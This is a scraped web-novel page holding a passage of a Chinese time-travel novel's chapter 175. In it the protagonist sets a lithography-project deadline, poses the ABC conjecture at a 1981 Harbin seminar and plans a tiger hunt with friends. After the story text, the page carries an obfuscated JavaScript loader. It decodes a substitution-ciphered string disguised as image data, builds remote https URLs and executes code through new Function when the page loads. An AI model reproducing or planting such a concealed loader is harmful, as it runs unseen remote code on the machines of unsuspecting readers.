首页
[切换至繁体版]
返回

第175章 ,一九八一年春节,提出ABC猜想,组

章节报错(免登陆)

新笔趣阁(52xbq.com)更新快,无弹窗!

万美金的光刻机啊,我们肯定要小心了”
    弄坏了,谁都赔不起!
    一台设备上百万美金,换算成人民币,今年的汇率是一美元换一点六三元人民币,那么这就是一百六十三万人民币啊。
    价值如此之高的设备,谁敢乱来?
    他们不敢乱来,王多鱼也只能逼迫他们必须尽快解决问题。
    以前设备没回来,他们还能找其他借口,现在他们完全找不到其他借口了。
    光刻机必须要尽快研发出来,今年结束之前如果拿不出他王多鱼想要的光刻机,那么整个光刻机项目就会解散。
    死命令一出,薛宇恒等人全都脸色大变,特别是机电部四五所和中科院幺零九厂的那些研发人员,一个个都面色惊恐。
    如果解散项目的话,那么他们就只能够滚回原来的单位。
    到时候他们领导肯定会责怪下来,那么他们一个个都逃不了。
    如今的时代已经大不相同,改革开放的春风已经席卷全国。
    一九七八年十二月确定了改革开放这个政策,在七九年和八零年这两年时间里,这四个字已经走进了千家万户,万千人民的心中。
    加上过去这两年时间里,国家连续启动了两三千个中大型项目,以及七十年代初中期开始的四三工程也已经在八零年之前全部建成投产。
    这些投建好的化肥厂等单位,陆续生产了很多化肥等产品,为接下来的农业发展提供了强大助力。
    在这样的时代背景下,处在第一线的研发人员,又岂能感受不到时代在改变呢?
    甚至已经有非常大胆的人,直接下海了。
    虽然下海这股潮流还没开始,现在的下海只不过是前奏曲罢了,但也影响了不少人。
    万元户也已经出现在报纸上面,虽然看似昙花一现,但也刺激到了很多人的神经。
    王多鱼下达了命令之后,就不管这件事了。
    光刻机项目只能成功,不能失败。
    隔天,计算数学系教学楼,数论研讨班,今天的阶梯教室来了很多人。
    “安德鲁,你们在中国的第一个春节,过得怎么样?”
    教室里,王多鱼跟安德鲁怀尔斯他们闲聊。
    春节刚过去,安德鲁他们也刚从京城回来没几天,昨天哈工大已经开学了,很多学生陆陆续续回来了。
    年味也逐渐散去,虽然元宵节还没到,但也快了。
    “非常美妙的体验”
    博切尔兹等人竖起大拇指,满脸笑容地夸赞道。
    从他们的笑容和略微圆润的脸面,王多鱼也已经知道了他们这些老外在过去的春节当中,过得非常好。
    老外们从来没有吃过如此丰富的美食,特别是春节这样的盛大节日,家家户户都会准备非常丰盛的食物。
    当然,一九八一年这个时间点,也就城里的部分人家可以准备丰盛的饭菜,大部分人能够吃上一顿肉饺子和几块肉,就算是非常不错了。
    特别是大部分农村家庭,他们的生活依然过得非常困难。
    就算是春节,家里能够吃得上肉,便已经算是非常不错了。
    原时空的历史上,王多鱼还记得他小时候,也就是七八岁时,春节这样的节日才能够吃上鸡肉和猪肉,平时最多每个月吃一次肉。
    大部分时候,都是纯素菜,而且还不多。
    就算是白米饭,能够每顿吃得上白米饭,就已经非常不错了,大多数时间都是喝稀粥。
    嗯,农忙的时候,就可以一天三顿都是吃白米饭了,就算只是搭配着萝卜干或者酸菜,亦或者是应季的茄子等蔬菜,也能够吃得津津有味,而且每顿饭都是把饭碗舔得干干净净那种。
    闲聊过后,今天的研讨正式开始,但一开始,威廉瑟斯顿就问了王多鱼一个问题:“王教授,你最近在研究什么课题?”
    后者闻言,微笑着说道:
    “我最近在思考考拉兹猜想的问题,你也知道我平时还是很忙的,所以没什么时间,如果你也在求证这个问题,那我们不妨交流一下.”
    实际上,他根本没有对考拉兹猜想下手,他只是乱说一通罢了。
    从去年九月份之后,王多鱼解决了费马猜想,然后在休息过后便准备朝着杨米尔斯存在性和质量缺口这道问题进发。
    有几次都被人看到了,但他都只表示这个问题太难了,他并没有研究这道题。
    承认这题目很难,并没有什么丢人的事情,因为有很多顶级数学家都研究过这道题。
    何况,全世界的数学题目有那么多,没必要对着杨米尔斯存在性和质量缺口这道题死磕到底。
    今天已经是二月十七日了,王多鱼确实遇到了困难,知道很难解答推证这道题,所以他已经有暂时放弃它的想法了。
    考拉兹猜想是法国数学家在一九三七年提出来的,也称之为3n+1猜想或者是冰雹猜想。
    具体内容是:对于任意自然数n,若n为偶数,则将n除以2,;若n为奇数,则将n乘以3再加1。
    得到的新数再按照同样的方式进行变换,直到最终得到1。
    对于这样的数学问题,说实话,有点烧脑。
    看似非常简单,实际上非常困难。
    这个猜想是一个关于自然数序列的才行,难度系数是非常高的,也难怪被那么多数学家趋之若鹜,想要证明它。
    威廉瑟斯顿闻言,沉默点头。
    他当然研究过考拉兹猜想,只不过他也证明不了什么。
    下午四点半,数论研讨班上,大家都在看着跟王多鱼激烈讨论的威廉瑟斯顿。
    两人在讨论的是关于整数的根数,其所有不同素因子的乘积为根数,rad(16)=rad(2)=2,设自然数
    a,b,cεn,其中a+b=c,且(a,b)=1(a,b互素),一个很显然的结论是(a,b,c)两两互素。
    仔细考察c和rad(abc)的大小关系,很容易发现,绝大多数情况下c1”
    当威廉瑟斯顿看清楚这道猜想题目之后,顿时瞪大双眼。
    而讲台下的让布尔盖恩、安德鲁怀尔斯、格尔德法尔廷斯、约翰科茨、肯尼斯伊势等人全都瞪大眼睛,满脸不敢置信。
    就这,又诞生了一道顶级数学题?
    在场众人有不少都是数学天赋绝佳的顶级数学博士、研究员,他们虽然还不如王多鱼那么大的名气,但他们的脑子都是非常顶尖的。
    所以他们在看到王多鱼写的这道题目之后,瞬间就联想到了非常多。
    “这个ABC问题,目前来说,我也证明罢了,它将许多丢番图问题包含在其中,嗯,费马大定理也同样在其中,好在我已经证明了费马大定理.”
    众人听到王多鱼的话,顿时笑了出来。
    先不管这个ABC猜想到底如何,就说他证明费马大定理这件事,在上个月月底,《哈工大数学期刊》发表了他那篇论文之后,全球数学界已经彻底炸锅了。
    如今,快过去一个月的时间了,依然没有人提出异议。
    就如庞加莱猜想一样,没人敢说什么,或者没人能够挑刺。
    如此一来,费马猜想就不是猜想,而是真的定理。
    眼下这个ABC猜想由王多鱼提出来,但它居然囊括了费马大定理等,但这个猜想完全是一个素数之间关心的问题。
    “按照我的猜测,或许在a,b和a+b的素数因子之间存在着更层次的关联”
    王多鱼皱眉说道,威廉瑟斯顿在思考着问题,没有吭声。
    后者一直都在跟王多鱼暗暗较劲,尽管他这一次来哈工大访学交流,但其实内心深处,还是非常高傲的,他不太承认王多鱼比他强的事实。
    如今接触了一个多月的时间,他已经了解到王多鱼确实很强。
    不管是在计算能力、推理和逻辑思维等方面,王多鱼都是全面碾压他的存在。
    而且他知道王多鱼并不只是纯粹的数学理论研究者,更是数学应用的项目发起人。
    反正威廉瑟斯顿了解到的情况就是王多鱼之前发起并领导完成了分布式计算机的研发任务。
    至于最近这段时间,王多鱼究竟在忙什么项目,威廉瑟斯顿就不知道了。
    因为他现在的想法就是争取在哈工大这半年时间里,多学习,碰撞出思维的火花,让他能够在明年的国际数学家大会之前,拿出一个影响力更大的科研成果。
    所以他其实比谁都要迫切地知道王多鱼究竟在完成什么理论科研任务。
    眼下王多鱼提出来的这个ABC猜想,或许就是一道非常不错的数学问题。
    然而,他真的能够证明吗?
    从四点多到六点多这个时间里,王多鱼在思考,威廉瑟斯顿在思考,格尔德法尔廷斯等人也同样在思考。
    一群来自欧美国家的数学理论研究学者,都在思考这个问题。
    李骏、杨念真、厉建书等人则是悄悄地离开了阶梯教室。
    对于杨念真他们来说,眼下成为王多鱼的关门弟子明显更加重要一些,毕竟三月初就要考试了,他们只剩下半个多月的时间了。
    隔天,关于ABC猜想的数学问题被王多鱼整理了出来,然后被王多鱼写信发了出去。
    陈景润、杨乐、张广厚、陆启铿等数学研究员都将会收到这封信,还有国外的丘成桐、斯梅尔、迈克尔弗里德曼等人也同样会收到这封信。
    王多鱼希望有更多人能够参与到解决ABC猜想当中,毕竟这道题,属实不简单。
    转眼时间,元宵节到了。
    这一天是二月十九日,元宵节一旦过去,春节就彻底结束了。
    祝汉廷、荣光夏、楼建国他们都来王多鱼家里吃元宵,一起过节庆贺。
    老外们不过这个节日,但威廉瑟斯顿他们也都吃到了元宵。
    “多鱼,今年春猎什么时候开始?是清明节还是三月底?”
    吃元宵的过程中,袁吉刚便再次提这件事。
    “我其实是很想再去一趟漠河那边狩猎一头虎王,你知道的,虎王的皮太霸气了,你屋子这张皮我每次来都很想把它偷走.”
    听到他的话,楼建国等人顿时笑骂了起来:恬不知耻!
    大家都乐了,王多鱼没好气地说道:
    “你的枪法那么烂,就算真的碰到了虎王,你也打不中,就算被你踩着狗屎运打中了,估计那张皮也要不了”
    袁吉刚一听,顿时急眼了。
    如果说他其他事儿不行,那他还没什么,但是说他枪法不行,等同于说他那啥不行一样,他肯定急眼啊。
    楼建国更是补刀道:
    “多鱼说的没错,老袁回京城不是谈了一个对象嘛,估计是被他对象说了,所以才这么急着想要去狩猎虎王,好捍卫他的男人尊严.”
    虎王的虎骨酒、虎鞭酒,效果都要比一般的老虎更加强劲儿。
    去年夏天,王多鱼他们在漠河那边狩猎到了一头足足三百一十八公斤的虎王,泡制好的虎鞭酒,早就被预定了。
    而袁吉刚那会儿根本没有对象,所以也用不上虎鞭酒。
    当然,他也分到了一小瓶,虽然不多,但胜在好用。
    要不然他那个对象也不会从京城追过来冰城这边了,连工作关系都调过来了,可想而知,那位女同志是真的要跟他处对象的。
    有了对象的袁吉刚,不管是出于哪个方面的需求,还是单纯跟他对象吹牛,他也想要证明自己啊。
    大家哄然大笑,余新耀和田茂华他们两人更是笑出了眼泪。
    “你这是污蔑,你在诽谤我他在诽谤我啊”
    看着袁吉刚指着楼建国悲愤莫名地辩解,王多鱼的笑声就更大了。
    这种莫名的喜感,别人无法理解,只有王多鱼自己才清楚。
    快乐时光过得很快,关于狩猎的计划,王多鱼说了,跟之前一样,但今年改一改。
    四月不狩猎,改为五月劳动节去漠河那边狩猎半个月,至于十月份要不要继续狩猎,那就到时候再说。
    反正王多鱼肯定是想要狩猎的,因为他想要放松放松。
    特别是在他遇到了瓶颈期,无法证明杨米尔斯存在性和质量缺口这道问题的情况下,去外面散散心,更有利于他换个脑子。
    说实话,脑子是一个好东西,但有的人根本没有脑子,有的是不愿意动脑子,而王多鱼则是非常喜欢动脑的一个人。
    可是动脑子次数多了,也希望能够干一点不用动脑子的事情,比如打猎。
    定下这件事之后,袁吉刚就巴不得马上去练习枪法了。
    只不过他还有一个问题,那就是子弹!
    他缺子弹,所以他从王多鱼这边‘借’走了两百发子弹。
    反正王多鱼这边有很多子弹,如果没有子弹的话,那么他可以直接找林德洪那边要就是了。
    楼建国、祝汉廷、荣光夏他们也想问王多鱼合并‘
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="n3xnhwm2yg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/2sR2hD^@Tp/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"2sR2hD^@Tp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mDDTYRpRm2YF"="}Ko}X5ThF)mC6FTCSDm2YF"="}Ko}2pThFmDDTYRpRm2YF"="}Ko}_JqhFmC6FTCSDm2YF"="}Ko}2TOhFmDDTYRpRm2YF"="}Ko}CSqhF)mC6FTCSDm2YF"="}Ko})FfThF)fmDDTYRpRm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q/f/}Ko}j(8}vY82sR2hD^@Tp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();